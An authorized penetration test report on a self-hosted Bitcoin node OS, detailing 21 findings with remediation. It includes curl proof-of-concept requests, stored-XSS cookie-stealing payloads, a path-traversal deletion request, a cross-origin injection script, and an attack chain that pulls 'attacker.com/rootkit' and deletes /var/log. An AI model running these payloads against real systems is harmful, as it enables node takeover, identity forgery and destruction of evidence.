archy/loop/pentest/security-assessment-report.md
Dorian 6623dbc4ab chore: add security pentest reports and remediation plan
Overnight pentest run produced recon, analysis, exploitation reports,
and a full security assessment. Plan.md updated with 22 prioritized
fix items for auth, SSRF, injection, XSS, and hardening.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-06 03:08:14 +00:00

40 KiB

Security Assessment Report

Target: http://192.168.1.228 (Archipelago Bitcoin Node OS) Assessment Date: 2026-03-06 Assessor: Authorized penetration test (owner-approved) Classification: CONFIDENTIAL


1. Executive Summary

An authorized penetration test was conducted against the Archipelago Bitcoin Node OS instance at 192.168.1.228. The assessment targeted the full application stack: Nginx reverse proxy, Rust JSON-RPC backend, Vue 3 frontend, WebSocket interface, and 30 containerized services.

Overall Risk Rating: CRITICAL

The system has no functional authentication. The login endpoint verifies passwords but creates no server-side session, and zero middleware gates access to any backend endpoint. Any device on the LAN has full administrative control over the node, including the ability to sign data with the node's private key, install and execute arbitrary container images, delete directories via path traversal, and dump the complete system state via WebSocket.

Findings by Severity

Severity Count
Critical 6
High 7
Medium 5
Low 3
Total 21

Top 3 Recommendations

  1. Wire authentication middleware into the RPC handler immediately. The session infrastructure exists in core/startos/src/middleware/auth.rs (cookie-based sessions, SHA-256 token hashing, rate limiting) but is not connected to the active core/archipelago/ request pipeline. This single fix addresses AUTH-001 through AUTH-012.

  2. Implement input validation on all RPC parameters. package.uninstall accepts path traversal sequences (../../), package.install pulls from arbitrary registries, and container-install reads arbitrary filesystem paths. Allowlist valid app_id formats (^[a-z0-9-]+$) and restrict dockerImage to a trusted registry list.

  3. Stop running the backend as root and disable dev mode. The systemd service runs as User=root with ARCHIPELAGO_DEV_MODE=true. This amplifies every vulnerability — unauthenticated container operations run as root, and dev mode exposes additional attack surface.


2. Scope and Methodology

Scope

Component In Scope Notes
Nginx reverse proxy (port 80/443) Yes All locations, security headers
Rust backend (port 5678) Yes All RPC methods, HTTP endpoints, WebSocket
Vue 3 frontend Yes Client-side auth, XSS sinks
Containerized services (30 containers) Limited Probed via RPC; individual app testing limited to default creds
SSH (port 22) Out of scope

Tools and Techniques

  • Reconnaissance: Nmap service enumeration, manual HTTP probing, nginx config review
  • Source code review: Full Rust backend (core/), Vue frontend (neode-ui/src/), nginx configs
  • Live exploitation: curl-based proof-of-concept against all RPC endpoints, WebSocket testing via Node.js client
  • Authentication testing: Session analysis, brute force validation, CORS policy testing
  • Injection testing: Path traversal, SSRF via Tor proxy, container image injection, log injection

Limitations

  • Individual containerized applications were not deeply tested (only default credential checks)
  • SSH was not tested
  • No denial-of-service testing was performed
  • Testing was limited to LAN access (no external/internet testing)
  • Some client-side findings (postMessage) were identified via source review only, not live exploitation

3. Findings Summary Table

ID Severity Type Endpoint Status
AUTH-001 Critical No Server-Side Session Management POST /rpc/v1 (auth.login) Confirmed
AUTH-002 Critical All RPC Endpoints Unauthenticated POST /rpc/v1 (all methods) Confirmed
AUTH-005 Critical Frontend-Only Authentication Browser localStorage Confirmed
AUTH-007 Critical Unauthenticated WebSocket State Dump GET /ws/db Confirmed
SSRF-004 Critical Arbitrary Container Image Pull + RCE POST /rpc/v1 (package.install) Confirmed
INJ-002 Critical Path Traversal in package.uninstall POST /rpc/v1 (package.uninstall) Confirmed
AUTH-003 High No Brute Force Protection POST /rpc/v1 (auth.login) Confirmed
AUTH-008 High Unauthenticated P2P Message Injection POST /archipelago/node-message Confirmed
AUTH-009 High CORS Wildcard on Multiple Endpoints Multiple (port 5678 + nginx) Confirmed
AUTH-011 High Unauthenticated LND Proxy GET /proxy/lnd/* (port 5678) Confirmed (partial)
XSS-004 High Zero Security Headers All HTTP responses Confirmed
XSS-007 High CORS Enables Cross-Origin Attacks All backend endpoints Confirmed
SSRF-001 High Blind SSRF via node-check-peer POST /rpc/v1 (node-check-peer) Confirmed
SSRF-002 High Outbound SSRF via node-send-message POST /rpc/v1 (node-send-message) Confirmed
AUTH-006 Medium No-Op Logout POST /rpc/v1 (auth.logout) Confirmed
AUTH-012 Medium Unauthenticated Container Log Access GET /api/container/logs (port 5678) Confirmed
XSS-001 Medium Stored XSS Payloads in P2P Messages POST /archipelago/node-message Confirmed
INJ-001 Medium File Existence Oracle POST /rpc/v1 (container-install) Confirmed
INJ-006 Medium Unauthenticated Claude API Proxy GET /aiui/api/claude/* Confirmed
XSS-005 Low Echo Endpoint Reflects Arbitrary Input POST /rpc/v1 (echo) Confirmed
INJ-007 Low Log Injection via P2P Messages POST /archipelago/node-message Confirmed

4. Detailed Findings


AUTH-001 — No Server-Side Session Management

Severity: Critical CVSS 3.1: 9.8 (Critical) OWASP: A07:2021 — Identification and Authentication Failures

Description: The auth.login RPC method verifies the password against a bcrypt hash but returns null on success. No session token, cookie, or JWT is created. There is zero server-side session state. The core/startos/src/middleware/auth.rs contains a complete session middleware (cookie-based sessions, SHA-256 hashing, rate limiting) but it is not wired into the core/archipelago/ binary.

Evidence:

Request:

curl -sv -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"auth.login","params":{"password":"test123test"}}'

Response (note: no Set-Cookie header):

< HTTP/1.1 200 OK
< Server: nginx/1.22.1
< Content-Type: application/json
< Content-Length: 78
< Connection: keep-alive
{"result":null,"error":{"code":-1,"message":"Password Incorrect","data":null}}

Even on a correct login, the response is {"result":null,"error":null} with no cookie or token. The password check is cosmetic — its result is never persisted.

Impact: Authentication is entirely non-functional. All subsequent findings flow from this root cause. Every endpoint is permanently accessible to any network client.

Remediation: Wire core/startos/src/middleware/auth.rs into the core/archipelago/ HTTP handler. Add session creation to auth.login on success, and add session validation middleware before the RPC dispatch.


AUTH-002 — All Sensitive RPC Endpoints Callable Without Authentication

Severity: Critical CVSS 3.1: 9.8 (Critical) OWASP: A01:2021 — Broken Access Control

Description: Every RPC method (30+) is callable by any network client without authentication. The RPC handler dispatches directly to method handlers via a flat match statement with no middleware.

Evidence — Node Identity Leak (node.did):

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":2,"method":"node.did","params":{}}'
{
  "result": {
    "did": "did:key:z6MkmkSBSqcKJW7T7iQbFJ8JhHCDSoFi8fSpRiktQfi6E5R2",
    "pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
  },
  "error": null
}

Evidence — Cryptographic Key Signing Oracle (node.signChallenge):

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":11,"method":"node.signChallenge","params":{"challenge":"pentest-proof-of-concept"}}'
{
  "result": {
    "signature": "bb10f455fe99794be4e14c233511fe2abc9e019490902b7407835767ff1b0f281e591088be4b434370a52521db741b2598796b9fda2ff24294658e02fc3d040a"
  },
  "error": null
}

Evidence — System Onboarding Reset (auth.resetOnboarding):

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":17,"method":"auth.resetOnboarding","params":{}}'
{"result": true, "error": null}

Evidence — Peer Network Exposure (node-list-peers):

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":5,"method":"node-list-peers","params":{}}'
{
  "result": {
    "peers": [
      {
        "added_at": "2026-02-17T14:00:00.000Z",
        "onion": "5sgfyeax3qolikxqxez5qidoj7hzgbi67qxihdadtebps2yqfre2avqd.onion",
        "pubkey": "dea8d3cbca0fbe041357c8639a4dad3abbf32fc734e8fc0bd82a562d5e6df51d"
      },
      {
        "added_at": "2026-03-02T11:58:59.608751372+00:00",
        "onion": "a36eaqmxsdeept7ogodaypdw6hpmoqfwzxc5gcchkci4tcqixkpnntad.onion",
        "pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
      }
    ]
  }
}

Full list of confirmed unauthenticated methods:

Category Methods
Container control container-install, container-start, container-stop, container-remove, container-list
Package management package.install, package.start, package.stop, package.restart, package.uninstall
Cryptographic operations node.signChallenge, node.createBackup
Identity exposure node.did, node.nostr-pubkey, node.tor-address
P2P operations node-add-peer, node-remove-peer, node-send-message, node-list-peers, node-check-peer
Auth management auth.changePassword, auth.resetOnboarding, auth.logout
Bitcoin/Lightning bitcoin.getinfo, lnd.getinfo

Impact: An unauthenticated attacker on the LAN can: leak the node's DID, Nostr pubkey, and peer Tor addresses; sign arbitrary data with the node's ed25519 private key (identity impersonation); reset onboarding state (potentially re-setup with attacker password); control the full container lifecycle; and enumerate all running services.

Remediation: Add authentication middleware that gates all methods except auth.login, auth.isOnboardingComplete, and echo.


AUTH-005 — Frontend-Only Authentication Enforcement

Severity: Critical CVSS 3.1: 9.8 (Critical) OWASP: A07:2021 — Identification and Authentication Failures

Description: Authentication exists only in the Vue.js frontend. The auth state is localStorage.getItem('neode-auth') === 'true'. Session "validation" calls server.echo — an unprotected endpoint that always succeeds — creating a circular trust loop.

Evidence: AUTH-002 proves the underlying issue: all backend endpoints work without any authentication token or cookie. The frontend guard is trivially bypassed.

Impact: Executing localStorage.setItem('neode-auth','true'); location.href='/dashboard' in the browser console grants full UI access without a password.

Remediation: Implement server-side session validation. The frontend should send a session cookie that the backend validates on every request.


AUTH-007 — Unauthenticated WebSocket Full State Dump

Severity: Critical CVSS 3.1: 8.6 (High) OWASP: A01:2021 — Broken Access Control

Description: The WebSocket endpoint at /ws/db accepts connections without authentication and immediately transmits the complete system state (20,402 bytes).

Evidence:

curl -sv -H "Upgrade: websocket" -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" http://192.168.1.228/ws/db

Response: HTTP/1.1 101 Switching Protocols followed by full state dump:

{
  "rev": 43,
  "data": {
    "server-info": {
      "id": "6c682474d91a2272",
      "version": "0.1.0",
      "pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9",
      "status-info": { "restarting": false, "shutting-down": false, "updated": false }
    },
    "package-data": {
      "homeassistant": { "state": "running" },
      "fedimint": { "state": "running" },
      "photoprism": { "state": "running" }
      /* ... all 30 installed packages with full manifest, ports, state ... */
    }
  }
}

Impact: Any client on the LAN receives the full system state in real-time: node identity, all installed packages, their running states, internal ports, and ongoing updates.

Remediation: Require session cookie validation on WebSocket upgrade. Reject connections without a valid session.


SSRF-004 — Arbitrary Container Image Pull + Execution

Severity: Critical CVSS 3.1: 9.8 (Critical) OWASP: A10:2021 — Server-Side Request Forgery + A08:2021 — Software and Data Integrity Failures

Description: The package.install RPC method accepts a dockerImage parameter validated only against shell metacharacters. It executes podman pull to any registry URL without authentication, allowlisting, or image signature verification. The backend runs as root.

Evidence:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"package.install","params":{"id":"pentest-ssrf-probe","dockerImage":"localhost:1/nonexistent:latest"}}'
{
  "result": null,
  "error": {
    "code": -1,
    "message": "Failed to pull image: Trying to pull localhost:1/nonexistent:latest...\ntime=\"2026-03-06T02:34:07Z\" level=warning msg=\"Failed, retrying in 1s ... (1/3). Error: initializing source docker://localhost:1/nonexistent:latest: pinging container registry localhost:1: Get \\\"https://localhost:1/v2/\\\": dial tcp [::1]:1: connect: connection refused\"\n..."
  }
}

The server executed podman pull localhost:1/nonexistent:latest and attempted to connect to an attacker-specified registry. Error output leaks internal IP addresses ([::1]:1), retry behavior, and confirms outbound HTTPS connections.

Impact: An unauthenticated attacker can force the server to pull any container image from any registry (SSRF) and, if the pull succeeds, execute it as root (RCE). This is a direct path to full system compromise.

Remediation: Restrict dockerImage to a hardcoded list of trusted registries. Require Cosign image signature verification (infrastructure exists in core/security/). Require authentication for all package management operations.


INJ-002 — Path Traversal in package.uninstall (Arbitrary Directory Deletion)

Severity: Critical CVSS 3.1: 9.1 (Critical) OWASP: A03:2021 — Injection

Description: The package.uninstall handler constructs a filesystem path from the id parameter without sanitization. Path traversal sequences (../../) resolve to arbitrary directories, and the handler executes the equivalent of rm -rf on the resolved path. The backend runs as root.

Evidence:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"package.uninstall","params":{"id":"../../tmp/pentest-traversal-probe"}}'
{"result":{"status":"uninstalled"},"error":null}

The path traversal ../../tmp/pentest-traversal-probe was accepted and processed without sanitization. The handler constructs /var/lib/archipelago/../../tmp/pentest-traversal-probe which resolves to /tmp/pentest-traversal-probe. No damage occurred (target didn't exist), but the traversal was processed with a success response.

Impact: Unauthenticated arbitrary directory deletion. An attacker could delete /var/lib/archipelago/../../etc/nginx, /var/lib/archipelago/../../opt/archipelago, or any directory writable by root.

Remediation: Validate id against ^[a-z0-9][a-z0-9-]*$. Reject any input containing /, .., or path separators. Canonicalize the resolved path and verify it remains within the expected directory.


AUTH-003 — No Brute Force Protection on Login

Severity: High CVSS 3.1: 7.5 (High) OWASP: A07:2021 — Identification and Authentication Failures

Description: The login endpoint has no rate limiting, account lockout, progressive delays, or CAPTCHA. The rate limiter in core/startos/src/middleware/auth.rs (3 attempts per 20 seconds) is not connected.

Evidence:

for i in $(seq 1 10); do
  curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \
    -X POST http://192.168.1.228/rpc/v1 \
    -H 'Content-Type: application/json' \
    -d "{\"method\":\"auth.login\",\"params\":{\"password\":\"wrong$i\"}}"
done
Attempt 1: HTTP 200
Attempt 2: HTTP 200
...
Attempt 10: HTTP 200

All 10 rapid-fire attempts returned HTTP 200 with no lockout or delay. Bcrypt provides ~100ms natural delay, allowing ~600 attempts/minute.

Impact: Unlimited password guessing. A targeted dictionary attack would succeed rapidly against weak passwords.

Remediation: Wire the existing rate limiter from core/startos/src/middleware/auth.rs. Add nginx limit_req as defense-in-depth.


AUTH-008 — Unauthenticated P2P Message Injection + Spoofing

Severity: High CVSS 3.1: 7.5 (High) OWASP: A03:2021 — Injection

Description: The P2P message endpoint accepts arbitrary from_pubkey and message values without authentication or signature verification. Injected messages are stored and displayed in the UI identically to legitimate peer messages.

Evidence:

Inject:

curl -s -X POST http://192.168.1.228/archipelago/node-message \
  -H 'Content-Type: application/json' \
  -d '{"from_pubkey":"PENTEST_PROBE_KEY","message":"pentest-verification-message"}'
{"ok":true}

Verify stored:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"node-messages-received","params":{}}'
{
  "result": {
    "messages": [
      {
        "from_pubkey": "PENTEST_PROBE_KEY",
        "message": "pentest-verification-message",
        "timestamp": "2026-03-06T02:32:30.049973683+00:00"
      }
    ]
  }
}

Impact: Social engineering, phishing, and impersonation attacks via spoofed peer messages. Combined with CORS wildcard, any website can inject messages remotely.

Remediation: Require cryptographic signature verification on all incoming messages. Validate from_pubkey against the known peer list and verify the message signature matches.


AUTH-009 — CORS Wildcard on Multiple Endpoints

Severity: High CVSS 3.1: 7.4 (High) OWASP: A05:2021 — Security Misconfiguration

Description: The backend sets Access-Control-Allow-Origin: * on all non-RPC endpoints and on all responses from port 5678. The direct backend port (5678) is accessible from the LAN.

Evidence:

curl -s -D- -X POST http://192.168.1.228/archipelago/node-message \
  -H 'Content-Type: application/json' \
  -H 'Origin: http://evil.com' \
  -d '{"from_pubkey":"cors-test","message":"cors-test"}'
HTTP/1.1 200 OK
Content-Type: application/json
access-control-allow-origin: *

Confirmed on: /archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/* (all via port 5678).

Impact: Any website visited by someone on the same LAN can silently inject messages, read container logs, and access internal service data via cross-origin requests. Transforms LAN-only vulnerabilities into remotely exploitable drive-by attacks.

Remediation: Replace * with explicit allowed origins. On port 5678, restrict CORS to the known frontend origin only.


AUTH-011 — Unauthenticated LND Proxy

Severity: High CVSS 3.1: 7.5 (High) OWASP: A01:2021 — Broken Access Control

Description: The proxy endpoint at /proxy/lnd/* on port 5678 forwards requests to the internal LND REST API (http://127.0.0.1:8080) without authentication. CORS wildcard is set on all responses.

Evidence:

curl -s -D- http://192.168.1.228:5678/proxy/lnd/v1/getinfo
HTTP/1.1 400 Bad Request
access-control-allow-origin: *
content-length: 48

Client sent an HTTP request to an HTTPS server.

The endpoint is reachable with no authentication. Currently blocked by TLS mismatch (LND expects HTTPS), but the auth and CORS issues are confirmed. If the proxy is updated to use HTTPS, or LND is configured for HTTP, this becomes a direct gateway to Lightning Network operations.

Impact: Potential unauthenticated access to LND REST API (channel management, wallet operations, invoice creation).

Remediation: Require authentication. Remove CORS wildcard. If LND proxy is needed, restrict to authenticated requests only and use HTTPS upstream.


XSS-004 — Zero Security Headers

Severity: High CVSS 3.1: 6.1 (Medium) — Elevated to High due to amplification of other findings OWASP: A05:2021 — Security Misconfiguration

Description: The nginx server returns no security headers. Additionally, all 25+ app proxy locations explicitly strip X-Frame-Options and Content-Security-Policy from proxied apps.

Evidence:

curl -sI http://192.168.1.228/
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 06 Mar 2026 02:33:31 GMT
Content-Type: text/html
Content-Length: 2035
Last-Modified: Fri, 06 Mar 2026 01:55:44 GMT
Connection: keep-alive
ETag: "69aa3420-7f3"
Accept-Ranges: bytes

Missing headers: Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Strict-Transport-Security, X-XSS-Protection, Referrer-Policy.

Impact: No defense-in-depth against XSS, clickjacking, or MIME sniffing. Security-sensitive proxied apps (Vaultwarden password manager, Portainer container admin) lose their own CSP/X-Frame-Options protections. Server version disclosed.

Remediation: Add security headers to nginx:

add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
server_tokens off;

Stop stripping CSP/X-Frame-Options from proxied apps unless specifically required for iframe embedding.


XSS-007 — CORS Wildcard Enables Cross-Origin Attack Delivery

Severity: High CVSS 3.1: 7.4 (High) OWASP: A05:2021 — Security Misconfiguration

Description: The CORS wildcard on backend endpoints, combined with the absence of authentication, enables any website to exploit all other findings remotely via cross-origin requests.

Evidence: See AUTH-009. The combination of CORS * + no auth + stored message injection means:

<!-- Attacker's webpage visited by anyone on the same LAN -->
<script>
fetch('http://192.168.1.228/archipelago/node-message', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    from_pubkey: 'attacker',
    message: '<img src=x onerror=alert(document.cookie)>'
  })
})
</script>

Impact: Transforms every LAN-only vulnerability into a remote drive-by attack. Any website can inject messages, read container logs, and interact with internal services.

Remediation: See AUTH-009.


SSRF-001 — Blind SSRF via node-check-peer (with Port Injection)

Severity: High CVSS 3.1: 7.3 (High) OWASP: A10:2021 — Server-Side Request Forgery

Description: The node-check-peer RPC method accepts an onion parameter and makes an outbound HTTP request through the Tor SOCKS5 proxy without calling validate_onion() (unlike node-send-message which does validate). Port injection via :9999 suffix is accepted.

Evidence:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion:9999"}}'
{"result":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion:9999","reachable":false},"error":null}

The boolean reachable response leaks whether the target service is up. Port injection enables port scanning of .onion services.

Impact: Unauthenticated blind SSRF through Tor with port scanning capability.

Remediation: Apply the same validate_onion() check used in node-send-message. Strip port numbers. Require authentication.


SSRF-002 — SSRF via node-send-message (Forced Outbound Request)

Severity: High CVSS 3.1: 6.5 (Medium) — Elevated to High due to identity leak OWASP: A10:2021 — Server-Side Request Forgery

Description: The node-send-message method validates onion format (56 chars, base32) but still allows targeting any valid-format .onion address. The HTTP POST includes the node's own public key in the body.

Evidence:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"node-send-message","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","message":"ssrf-probe"}}'
{
  "error": {
    "code": -1,
    "message": "Failed to send over Tor: error sending request for url (http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion/archipelago/node-message): error trying to connect: socks connect error: Proxy server unreachable"
  }
}

Error messages leak the full URL, proxy status, and connection details. The request body sent to the target includes from_pubkey (the node's public key).

Impact: Forced outbound HTTP POST with node identity disclosure. An attacker controlling a .onion service would receive the node's pubkey.

Remediation: Require authentication. Restrict peer messaging to known peers in the peer list only. Sanitize error messages to avoid leaking internal details.


AUTH-006 — No-Op Logout

Severity: Medium CVSS 3.1: 3.7 (Low) — Elevated to Medium due to architectural impact OWASP: A07:2021 — Identification and Authentication Failures

Description: The logout handler returns null immediately. No server-side session exists to invalidate.

Evidence:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":8,"method":"auth.logout","params":{}}'
{"result":null,"error":null}

Impact: Users cannot effectively log out. In a shared-device scenario, previous sessions cannot be invalidated.

Remediation: Implement session creation in login, session invalidation in logout.


AUTH-012 — Unauthenticated Container Log Access

Severity: Medium CVSS 3.1: 5.3 (Medium) OWASP: A01:2021 — Broken Access Control

Description: Container logs are accessible via GET /api/container/logs on port 5678 without authentication. CORS wildcard is set.

Evidence:

curl -s -D- "http://192.168.1.228:5678/api/container/logs?app_id=bitcoin&lines=10"
HTTP/1.1 500 Internal Server Error
content-type: application/json
access-control-allow-origin: *

{"error":"Failed to get container logs"}

The endpoint processes the request (no 401/403). The 500 is from log retrieval failure, not an auth check.

Impact: Container logs may contain credentials, internal IPs, configuration details, and other sensitive data.

Remediation: Require authentication. Remove CORS wildcard.


XSS-001 — Stored XSS Payloads in P2P Messages

Severity: Medium CVSS 3.1: 5.4 (Medium) OWASP: A03:2021 — Injection

Description: XSS payloads are stored server-side without sanitization and returned verbatim via the API. Vue's {{ }} template interpolation currently escapes HTML in the frontend, preventing execution. However, the server stores raw HTML/script content — any rendering change, alternative client, or v-html usage would enable immediate exploitation.

Evidence:

curl -X POST http://192.168.1.228/archipelago/node-message \
  -H 'Content-Type: application/json' \
  -d '{"from_pubkey":"\" onfocus=alert(1) autofocus=\"","message":"<img src=x onerror=alert(document.cookie)>"}'
{"ok":true}

Stored payloads returned verbatim:

{
  "from_pubkey": "\" onfocus=alert(1) autofocus=\"",
  "message": "<img src=x onerror=alert(document.cookie)>",
  "timestamp": "2026-03-06T02:26:44.732411042+00:00"
}

Impact: Server-side stored XSS. Currently mitigated by Vue auto-escaping, but no defense-in-depth. The :title attribute binding with unsanitized from_pubkey is a closer attack vector.

Remediation: Sanitize all message content server-side before storage. Strip HTML tags and special characters from from_pubkey and message fields.


INJ-001 — File Existence Oracle via container-install

Severity: Medium CVSS 3.1: 5.3 (Medium) OWASP: A01:2021 — Broken Access Control

Description: The container-install method reads any file path and returns different error messages based on file existence vs. parse failure.

Evidence:

Existing file:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -d '{"method":"container-install","params":{"manifest_path":"/etc/hostname"}}'

Response: "Failed to parse manifest" (file exists, read succeeded, YAML parse failed)

Non-existing file:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -d '{"method":"container-install","params":{"manifest_path":"/nonexistent/file.yml"}}'

Response: "Failed to read manifest file" (file doesn't exist)

Impact: Unauthenticated filesystem enumeration. Attacker can determine file existence, potentially mapping sensitive file locations.

Remediation: Validate manifest_path against an allowlist of permitted directories (e.g., apps/*/manifest.yml). Return a generic error message regardless of failure type.


INJ-006 — Unauthenticated Claude API Proxy

Severity: Medium CVSS 3.1: 5.3 (Medium) OWASP: A01:2021 — Broken Access Control

Description: The nginx configuration proxies /aiui/api/claude/* to port 3141 (Claude API proxy) and /aiui/api/openrouter/* to openrouter.ai without authentication at the nginx level. The Claude proxy stores the owner's API credentials and uses them for all incoming requests.

Impact: Any network client can consume the owner's Claude API credits and OpenRouter credits without authentication. Financial impact scales with usage.

Remediation: Require authentication at the nginx level for all /aiui/api/ paths. Add rate limiting.


XSS-005 — Echo Endpoint Reflects Arbitrary Input

Severity: Low CVSS 3.1: 3.1 (Low) OWASP: A03:2021 — Injection

Description: The echo RPC method reflects the message parameter verbatim in the JSON response.

Evidence:

curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"echo","params":{"message":"<script>alert(document.cookie)</script>"}}'
{"result":{"message":"<script>alert(document.cookie)</script>"},"error":null}

Impact: Low — Content-Type: application/json prevents direct browser rendering. Could be exploited if the response is consumed unsafely by any client.

Remediation: Sanitize or limit the echo response to alphanumeric characters. This endpoint appears to be for health checks only.


INJ-007 — Log Injection via P2P Messages

Severity: Low CVSS 3.1: 3.1 (Low) OWASP: A09:2021 — Security Logging and Monitoring Failures

Description: Newline characters in P2P message fields are stored without sanitization, enabling log injection if messages are written to log files.

Evidence:

curl -s -X POST http://192.168.1.228/archipelago/node-message \
  -H 'Content-Type: application/json' \
  -d '{"from_pubkey":"injected\nINFO fake log line","message":"log-injection-test\r\n[CRITICAL] System compromised"}'
{"ok":true}

Stored with newlines intact:

{
  "from_pubkey": "injected\nINFO fake log line",
  "message": "log-injection-test\r\n[CRITICAL] System compromised"
}

Impact: Could create fake log entries to mislead forensic analysis if messages are ever written to log files.

Remediation: Strip or escape newline characters (\n, \r) from all stored message content.


5. Critical Attack Chain

The following attack chain demonstrates full system compromise from any device on the LAN, requiring zero authentication:

# Step 1: Enumerate node identity
curl -s http://192.168.1.228/rpc/v1 \
  -d '{"method":"node.did","params":{}}'

# Step 2: Dump full system state via WebSocket
wscat -c ws://192.168.1.228/ws/db

# Step 3: Sign arbitrary data as the node (identity theft)
curl -s http://192.168.1.228/rpc/v1 \
  -d '{"method":"node.signChallenge","params":{"challenge":"I transfer all bitcoin"}}'

# Step 4: Pull and execute attacker-controlled container (RCE)
curl -s http://192.168.1.228/rpc/v1 \
  -d '{"method":"package.install","params":{"id":"backdoor","dockerImage":"attacker.com/rootkit:latest"}}'

# Step 5: Delete evidence via path traversal
curl -s http://192.168.1.228/rpc/v1 \
  -d '{"method":"package.uninstall","params":{"id":"../../var/log"}}'

# Step 6: Reset onboarding to lock out legitimate user
curl -s http://192.168.1.228/rpc/v1 \
  -d '{"method":"auth.resetOnboarding","params":{}}'

Result: Full node takeover — identity stolen, arbitrary code running, logs deleted, owner locked out.


6. Recommendations

Immediate (Critical — implement within 48 hours)

Priority Action Findings Addressed
P0 Wire core/startos/src/middleware/auth.rs session middleware into core/archipelago/ HTTP handler. Create sessions on login, validate on every request. AUTH-001, AUTH-002, AUTH-005, AUTH-006
P0 Validate id parameter in package.uninstall against ^[a-z0-9][a-z0-9-]*$. Reject path separators. INJ-002
P0 Add registry allowlist to package.install. Require Cosign signature verification. SSRF-004
P0 Require authentication on WebSocket upgrade at /ws/db. AUTH-007

Short-Term (High — implement within 1 week)

Priority Action Findings Addressed
P1 Add nginx limit_req on /rpc/v1 (5 requests/second burst 10). AUTH-003
P1 Require cryptographic signature verification on /archipelago/node-message. AUTH-008, XSS-001, INJ-007
P1 Replace CORS * with explicit allowed origins. Block direct access to port 5678 via firewall. AUTH-009, XSS-007, AUTH-011, AUTH-012
P1 Add security headers to nginx (CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy). Remove server_tokens. XSS-004
P1 Apply validate_onion() to node-check-peer. Restrict messaging to known peers only. SSRF-001, SSRF-002

Medium-Term (Medium — implement within 1 month)

Priority Action Findings Addressed
P2 Stop running backend as root. Create dedicated archipelago service account. Amplification factor
P2 Disable dev mode (ARCHIPELAGO_DEV_MODE=false) in production. Amplification factor
P2 Validate manifest_path in container-install against allowlisted directories. Normalize error messages. INJ-001
P2 Add authentication to /aiui/api/ nginx proxy locations. INJ-006
P2 Sanitize echo endpoint output. XSS-005

Architectural Recommendations

  1. Defense in depth: The system relies on a single authentication layer (currently broken). Add network-level controls (firewall port 5678), nginx-level auth, and backend middleware as independent layers.

  2. Input validation framework: Create a shared validation module for all RPC parameters. Establish allowlist patterns for app_id, package_id, manifest_path, onion, and dockerImage.

  3. Secrets management: Hardcoded credentials found in source (archipelago:archipelago123 for Bitcoin RPC, password123 for dev mode). Migrate all credentials to core/security/secrets_manager.rs.

  4. Session secret: core/.env.production contains ARCHIPELAGO_SESSION_SECRET=CHANGE_ME_ON_FIRST_RUN. Generate a cryptographically random secret on first boot before any sessions are created.


7. Appendix

A. Technologies Detected

Layer Technology Version
OS Debian 12 (Bookworm)
Web Server nginx 1.22.1
Reverse Proxy (containers) OpenResty (Nginx Proxy Manager) 2.14.0
Backend Rust (custom binary on port 5678)
Frontend Vue 3 + TypeScript + Vite 7
Container Runtime Podman (rootless)
SSH OpenSSH 9.2p1

B. Open Ports

Port Service Auth Required
22/tcp SSH (OpenSSH 9.2p1) Yes
80/tcp HTTP (nginx — main UI) No
81/tcp HTTP (Nginx Proxy Manager — setup incomplete) No
443/tcp HTTPS (self-signed TLS) No
5678/tcp HTTP (Rust backend — JSON-RPC) No
8080/tcp HTTPS (LND REST API) Macaroon

C. Container Inventory (30 containers — enumerated without authentication)

